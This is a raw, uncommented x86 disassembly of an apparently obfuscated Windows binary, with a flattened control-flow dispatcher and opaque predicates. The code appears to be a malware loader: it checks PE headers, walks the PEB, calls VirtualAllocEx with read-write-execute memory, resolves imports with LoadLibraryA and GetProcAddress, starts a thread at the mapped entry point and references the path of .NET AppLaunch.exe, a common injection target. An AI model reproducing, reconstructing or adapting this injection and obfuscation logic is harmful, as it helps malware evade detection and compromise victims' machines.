mov eax, 0xc5a6bb2b
jmp 0x404a12
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xb46309b2
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x7c3c64e8
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x2c]
cmovge ecx, edx
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x118], eax
mov eax, ecx
jmp 0x401500
mov eax, 0xd4f70e3a
jmp 0x401500
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0xb0]
push 0x40
push 0x3000
push dword [eax]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, 0xbae179e7
jmp 0x401500
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xd6], ax
mov eax, 0x86a65d86
jmp 0x401500
cmp byte [ebp - 0x78], 0
mov eax, 0xd8083a4
mov ecx, 0xbbb3dc5d
cmovne eax, ecx
jmp 0x401500
mov eax, 0xa7688142
jmp 0x401500
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, 0x76dcd1c6
jmp 0x401500
mov eax, 0x21337670
jmp 0x401500
mov eax, 0x691266dd
jmp 0x401500
mov eax, 0x6b7762d7
jmp 0x401500
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, 0x81a16073
jmp 0x401500
mov eax, dword [0x4b3418]
mov edi, 0xab9c62ef
mov esi, 0x2ca13a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x2ca13a
jmp 0x4014e1
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, 0x4c3c6b1
jmp 0x401500
cmp byte [ebp - 0x6d], 0
mov eax, 0x698de3fe
mov ecx, 0x1acb4bc6
cmovne eax, ecx
jmp 0x401500
mov eax, dword [ebp - 0x3c]
mov dword [eax], 4
mov eax, 0xb9f02030
jmp 0x401500
mov eax, 0x82d25905
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov edi, 0x9ac38d71
mov esi, 0xd4156fb3
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xd4156fb3
jmp 0x4014e1
mov eax, 0x7f0abcc7
jmp 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x4c3c6b1
mov esi, 0xdbe4ca5b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xdbe4ca5b
jmp 0x404a1a
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x178], eax
mov eax, 0x92c1b35d
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x758da637
mov edi, 0x8d5d3137
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x20]
cmovge eax, esi
jmp 0x401500
mov eax, dword [ebp - 0xdc]
mov esi, 0x5cfe5498
mov edi, 0xcf2ce0fe
mov dword [ebp - 0x120], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xcf2ce0fe
jmp 0x40478d
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0x44
mov eax, 0x816504df
jmp 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x66fa29f1
mov edi, 0xaca5980f
jmp 0x40498d
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, 0xd81806b7
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x59a75edb
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x13e47b8
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x4d4ae8cd
mov edi, 0x4939bda
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x34]
cmovge ecx, esi
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1ac], eax
mov eax, ecx
jmp 0x401500
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x34]
mov eax, 0x94a4a05
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov eax, 0xb44b5b20
jmp 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x4beb09d2
mov edi, 0x31e2c101
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x31e2c101
jmp 0x404fd2
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
mov eax, 0x9e16c0ec
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xa
mov eax, 0x6c369aa6
jmp 0x401500
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x7d9d0f17
jmp 0x401500
mov eax, dword [ebp - 0x54]
mov esi, 0xd95446ff
mov edi, 0x2b224654
mov dword [eax], 0
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
jmp 0x404d7d
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xa879dbfc
mov edi, 0xb034cebd
jmp 0x40498d
mov eax, dword [ebp - 0x28]
mov eax, 0xc4cb50d9
jmp 0x401500
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, 0x418b6d5c
jmp 0x401500
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xaa], ax
mov eax, 0x5585bc95
jmp 0x401500
cmp byte [ebp - 0x73], 0
mov eax, 0x3168f94c
mov ecx, 0x32ba3be4
cmovne eax, ecx
jmp 0x401500
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x44]
mov eax, 0x9db032d0
jmp 0x401500
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov eax, 0xb20b77c2
jmp 0x401500
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov eax, 0xee8c3e7d
jmp 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x9db032d0
mov esi, 0x648fddd9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x648fddd9
jmp 0x4014e1
mov eax, 0x8a741c8b
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xec198f44
mov edi, 0xaf4b03c7
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x8c]
cmovge eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0xf8], ecx
jmp 0x401500
mov eax, 0x5a17dd86
jmp 0x401500
mov eax, dword [ebp - 0x24]
mov edi, 0xa747a563
mov esi, 0xad6b122b
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
add eax, dword [ebp - 0x48]
mov dword [ebp - 0xf0], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xad6b122b
jmp 0x404a1a
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, 0x25bcead1
jmp 0x401500
mov eax, 0xa7688142
jmp 0x401500
mov eax, 0x8a74ef82
jmp 0x401500
mov eax, 0xae6e1935
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 7
mov eax, 0x6f2f6f5d
jmp 0x401500
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0x2e06f185
jmp 0x401500
mov eax, 0x80984b47
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xa1642f39
mov edi, 0xee8c3e7d
jmp 0x404d7d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1a4]
mov dword [eax], ecx
mov eax, 0xad3e16a
jmp 0x401500
mov eax, dword [ebp - 0x1c8]
mov ebx, 0x1c79b7e0
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x1bc]
mov esi, dword [ebp - 0x1c0]
mov ecx, dword [0x4b3420]
lea edi, [ecx + 1]
imul edi, ecx
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
mov edi, 0x34dbc682
sete cl
cmp dword [0x4b341c], 0xa
setl ch
or ch, cl
mov ecx, 0x1c79b7e0
cmovne ecx, edi
mov edi, 0xd7fd573d
cmovne ebx, edi
mov edi, 0x7d05205a
nop dword [eax + eax]
cmp edi, 0x1c79b7df
jle 0x404590
cmp edi, 0x1c79b7e0
je 0x4045a8
cmp edi, 0x34dbc682
je 0x4045af
cmp edi, 0x7d05205a
jne 0x404560
mov edi, ebx
jmp 0x404560
cmp edi, 0x88b363e5
je 0x405101
cmp edi, 0xd7fd573d
jne 0x404560
mov edi, ecx
jmp 0x404560
mov edi, 0xd7fd573d
jmp 0x404560
mov edi, 0x88b363e5
jmp 0x404560
mov eax, 0x7321cc9a
jmp 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x9e2e2ac5
mov edi, 0xd298a93c
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x30]
cmovge ecx, esi
mov eax, dword [eax]
mov edx, eax
xor edx, 0xdfffffff
and edx, eax
mov eax, ecx
mov dword [ebp - 0x11c], edx
jmp 0x401500
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
mov eax, 0x1b4fcdb5
jmp 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x4eeacead
mov edi, 0xf542dde2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf542dde2
jmp 0x404fd2
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xe1f44213
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa04d2d97
jmp 0x404d19
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xf2f54fb6
mov edi, 0xa185393e
jmp 0x404d7d
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, 0xb4284ade
jmp 0x401500
mov eax, dword [ebp - 0xc8]
mov dword [eax], 1
mov eax, 0x68e138d9
jmp 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x5fbc7745
mov edi, 0xffbcfbfc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xffbcfbfc
jmp 0x404795
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xb9f02030
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x7679e5c0
jmp 0x404d19
push 0x4c000
push dword [ebp - 0xe0]
vzeroupper
call fcn.00401410
add esp, 8
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x40]
mov esi, 0x5ea10e9a
mov edi, 0xc5a6bb2b
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
setne byte [ebp - 0x6b]
imul ecx, eax
mov eax, 0xc5a6bb2b
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4b3414], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401500
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa0]
cmp byte [eax], 0
mov eax, 0x2c9ce09d
setne byte [ebp - 0x7a]
jmp 0x401500
mov eax, 0xab9c62ef
jmp 0x401500
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, 0x27681b0d
jmp 0x401500
movzx eax, word [ebp - 0xd6]
mov ecx, dword [ebp - 0x144]
cmp ecx, eax
mov eax, 0x74ee6ca9
setl byte [ebp - 0x6e]
jmp 0x401500
mov eax, 0x82d38884
jmp 0x401500
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, 0x1da6cc0a
jmp 0x401500
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xbc]
mov eax, 0x8a741c8b
jmp 0x401500
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov eax, 0xb034cebd
jmp 0x401500
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x8c]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov dword [eax], 0
mov eax, 0xb4284ade
jmp 0x401500
mov eax, dword [ebp - 0x54]
mov eax, 0x3756b730
jmp 0x401500
cmp byte [ebp - 0x6b], 0
mov eax, 0x54cc8093
mov ecx, 0x1d799a54
cmovne eax, ecx
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xc02ec61a
mov edi, 0xf28bb4dc
jmp 0x404d7d
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xec198f44
mov edi, 0xe91e4c4f
jmp 0x404d7d
mov eax, 0x74936bac
jmp 0x401500
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18c]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0x10]
mov dword [ebp - 0x190], eax
mov eax, 0x5904ba25
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 5
mov eax, 0xf2f04da5
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov esi, 0xab9237ec
mov edi, 0x20770a1f
mov dword [eax], 0xd
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x401500
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, 0xe653c5ba
jmp 0x401500
mov eax, dword [ebp - 0x14]
mov edi, 0x1b4fe00
mov esi, 0x11cbf090
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
cmp ecx, dword [eax + 0x34]
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
setne byte [ebp - 0x6d]
imul ecx, eax
mov eax, 0x11cbf090
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4b3414], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401500
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x90]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov ecx, 0x391d43a8
mov eax, dword [ebp - 0x64]
cmp dword [eax], 0
mov eax, 0x51443fbb
cmove eax, ecx
jmp 0x401500
mov eax, dword [0x4b3418]
mov esi, 0xa41e0fea
mov edi, 0x79b60950
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x79b60950
jmp 0x404fd2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x40]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043eb90
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x140], eax
mov eax, 0xa3f2caa0
jmp 0x401500
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x23010559
setne byte [ebp - 0x77]
jmp 0x401500
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x108], eax
mov eax, 0x980fcfb0
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x1c356ce1
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa1642f39
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x18]
cmovge eax, edx
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x24]
mov esi, dword [esi]
mov edi, dword [ebp - 0x20]
mov edi, dword [edi]
lea edi, [edi + edi*4]
add ecx, dword [esi + edi*8 + 0xc]
mov dword [ebp - 0xec], ecx
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov dword [ebp - 0x48], ecx
jmp 0x401500
mov eax, dword [ebp - 0x190]
mov ecx, 0x727d69c8
cmp dword [eax], 0
mov eax, 0xe4f6574a
cmove eax, ecx
jmp 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xd81806b7
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8feaffac
jmp 0x404d19
mov eax, dword [ebp - 0x98]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x98]
vmovups ymm0, ymmword [0x4a6288]
vmovups ymm1, ymmword [0x4a6270]
vmovups ymm2, ymmword [0x4a6250]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x9c]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xa0]
setne byte [eax]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
movzx eax, byte [eax]
mov byte [ebp - 0x79], al
mov eax, 0xbb0a4a33
jmp 0x401500
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0xd75245f1
mov dword [ebp - 0x1b4], ecx
jmp 0x401500
mov eax, 0x650125c4
jmp 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xb44b5b20
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd4156fb3
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401500
cmp byte [ebp - 0x71], 0
mov eax, 0x4900bf52
mov ecx, 0xff55f7f9
cmovne eax, ecx
jmp 0x401500
mov eax, 0x860e7288
jmp 0x401500
cmp byte [ebp - 0x77], 0
mov eax, 0xd8083a4
mov ecx, 0xb977de37
cmovne eax, ecx
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x758da637
mov edi, 0xbc2f3635
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov edi, 0xe3983ce0
lea eax, [edx + 1]
imul eax, edx
mov esi, eax
xor esi, 0xfffffffe
test esi, eax
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa2579da7
cmovne edx, edi
test esi, eax
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x54]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x15c], ecx
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x160], ecx
jmp 0x401500
mov eax, dword [ebp - 0x12c]
add eax, 0x18
mov dword [ebp - 0x130], eax
mov eax, 0xe6a9e04f
jmp 0x401500
mov eax, 0x9341e925
jmp 0x401500
mov eax, dword [ebp - 0x110]
mov esi, 0x66fa29f1
mov edi, 0x7d8212de
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
mov dword [eax + ecx*4], edx
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x94]
jmp 0x4049b2
mov eax, 0x9217c0df
jmp 0x401500
mov eax, 0x329c71e3
jmp 0x401500
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
add eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0xad3e16a
jmp 0x401500
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
mov eax, 0xe1f44213
jmp 0x401500
mov eax, dword [ebp - 0x3c]
mov esi, 0x994921d7
mov edi, 0x4f8dae2f
mov dword [eax], 0x40
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4f8dae2f
jmp 0x404fd2
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x134], eax
mov eax, 0x6536792
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0xdc], ecx
jmp 0x401500
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, 0xa6b2fc21
jmp 0x401500
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x20
mov eax, 0x282b20ed
jmp 0x401500
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, 0x1f3e51fc
jmp 0x401500
mov eax, 0x5518d26b
jmp 0x401500
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, 0x89345db4
jmp 0x401500
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, 0x3e4852e5
jmp 0x401500
mov eax, 0xeb23c6a0
jmp 0x401500
